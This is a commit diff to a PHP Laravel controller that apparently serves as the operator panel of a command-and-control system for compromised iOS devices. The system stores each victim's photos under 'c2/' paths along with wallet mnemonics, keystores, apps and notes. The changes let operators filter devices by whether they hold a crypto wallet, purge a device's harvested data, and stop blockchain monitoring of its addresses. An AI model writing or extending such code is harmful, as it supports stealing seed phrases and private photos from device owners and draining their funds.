feat: xxbb
This commit is contained in:
@@ -13,8 +13,11 @@ use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class DeviceController extends Controller
|
||||
@@ -38,7 +41,7 @@ class DeviceController extends Controller
|
||||
$filters = $this->filtersFrom($request);
|
||||
$q = $this->filteredQuery($filters);
|
||||
|
||||
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
|
||||
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'updated_at');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
@@ -46,7 +49,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
$q->orderBy('devices.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
|
||||
|
||||
@@ -56,13 +59,17 @@ class DeviceController extends Controller
|
||||
'id' => $d->id,
|
||||
'device_id' => $d->device_id,
|
||||
'channel_id' => $d->channel_id ?: '',
|
||||
'source_domain' => $d->source_domain ?: '',
|
||||
'device_model' => $d->device_model ?: '',
|
||||
'ios_version' => $d->ios_version ?: '',
|
||||
'ip' => $d->ip ?: '',
|
||||
'has_wallet' => (int) $d->has_wallet,
|
||||
'wallet_names' => $d->walletNameList(),
|
||||
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
|
||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $d),
|
||||
'destroy_url' => route($portal.'.devices.destroy', $d),
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -116,7 +123,7 @@ class DeviceController extends Controller
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = (string) $request->query('tab', 'wallets');
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
$field = (string) $request->query('field', 'id');
|
||||
@@ -169,9 +176,60 @@ class DeviceController extends Controller
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$photos = $device->photos()->get(['id', 'path']);
|
||||
$deletedFiles = $this->deletePhotoFiles($device);
|
||||
|
||||
$deletedRows = $device->photos()->delete();
|
||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'deleted_rows' => (int) $deletedRows,
|
||||
'deleted_files' => $deletedFiles,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function destroy(Device $device)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$listUrl = route($this->portal().'.devices.index');
|
||||
$this->purgeDevice($device);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'list_url' => $listUrl,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
private function purgeDevice(Device $device): void
|
||||
{
|
||||
$this->deletePhotoFiles($device);
|
||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/check/'.$device->device_id);
|
||||
$this->unmonitorAddresses($device);
|
||||
|
||||
DB::transaction(function () use ($device) {
|
||||
$device->apps()->delete();
|
||||
$device->events()->delete();
|
||||
$device->photos()->delete();
|
||||
$device->notes()->delete();
|
||||
$device->addresses()->delete();
|
||||
$device->mnemonics()->delete();
|
||||
$device->keystores()->delete();
|
||||
$device->delete();
|
||||
});
|
||||
}
|
||||
|
||||
private function deletePhotoFiles(Device $device): int
|
||||
{
|
||||
$deletedFiles = 0;
|
||||
foreach ($photos as $photo) {
|
||||
foreach ($device->photos()->get(['id', 'path']) as $photo) {
|
||||
$path = trim((string) ($photo->path ?? ''));
|
||||
if ($path === '') {
|
||||
continue;
|
||||
@@ -182,29 +240,45 @@ class DeviceController extends Controller
|
||||
}
|
||||
}
|
||||
|
||||
$deletedRows = $device->photos()->delete();
|
||||
return $deletedFiles;
|
||||
}
|
||||
|
||||
$dir = 'c2/photos/'.$device->device_id;
|
||||
private function deleteStorageDir(string $dir): void
|
||||
{
|
||||
try {
|
||||
if (Storage::disk('local')->directoryExists($dir)) {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
// older flysystem without directoryExists — best-effort wipe
|
||||
try {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
} catch (\Throwable) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'deleted_rows' => (int) $deletedRows,
|
||||
'deleted_files' => $deletedFiles,
|
||||
],
|
||||
]);
|
||||
private function unmonitorAddresses(Device $device): void
|
||||
{
|
||||
$addresses = $device->addresses()->where('monitor', 1)->get();
|
||||
if ($addresses->isEmpty()) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
$svc = app(TokenviewMonitorService::class);
|
||||
} catch (\Throwable) {
|
||||
return;
|
||||
}
|
||||
foreach ($addresses as $address) {
|
||||
try {
|
||||
$address->monitor = 0;
|
||||
$svc->syncMonitor($address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
|
||||
'device_id' => $device->id,
|
||||
'address_id' => $address->id,
|
||||
]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function authorizeDevice(Device $device): void
|
||||
@@ -393,10 +467,16 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int}
|
||||
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
||||
*/
|
||||
private function filtersFrom(Request $request): array
|
||||
{
|
||||
$hasWallet = $request->query('has_wallet');
|
||||
$hasWalletInt = null;
|
||||
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
|
||||
$hasWalletInt = (int) $hasWallet;
|
||||
}
|
||||
|
||||
return [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
@@ -405,12 +485,13 @@ class DeviceController extends Controller
|
||||
'ios' => trim((string) $request->query('ios', '')),
|
||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||
'has_wallet' => $hasWalletInt,
|
||||
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int} $filters
|
||||
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
||||
*/
|
||||
private function filteredQuery(array $filters): Builder
|
||||
{
|
||||
@@ -438,6 +519,9 @@ class DeviceController extends Controller
|
||||
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
|
||||
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
|
||||
}
|
||||
if ($filters['has_wallet'] !== null) {
|
||||
$q->where('devices.has_wallet', $filters['has_wallet']);
|
||||
}
|
||||
if (! $this->isAgentPortal()) {
|
||||
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user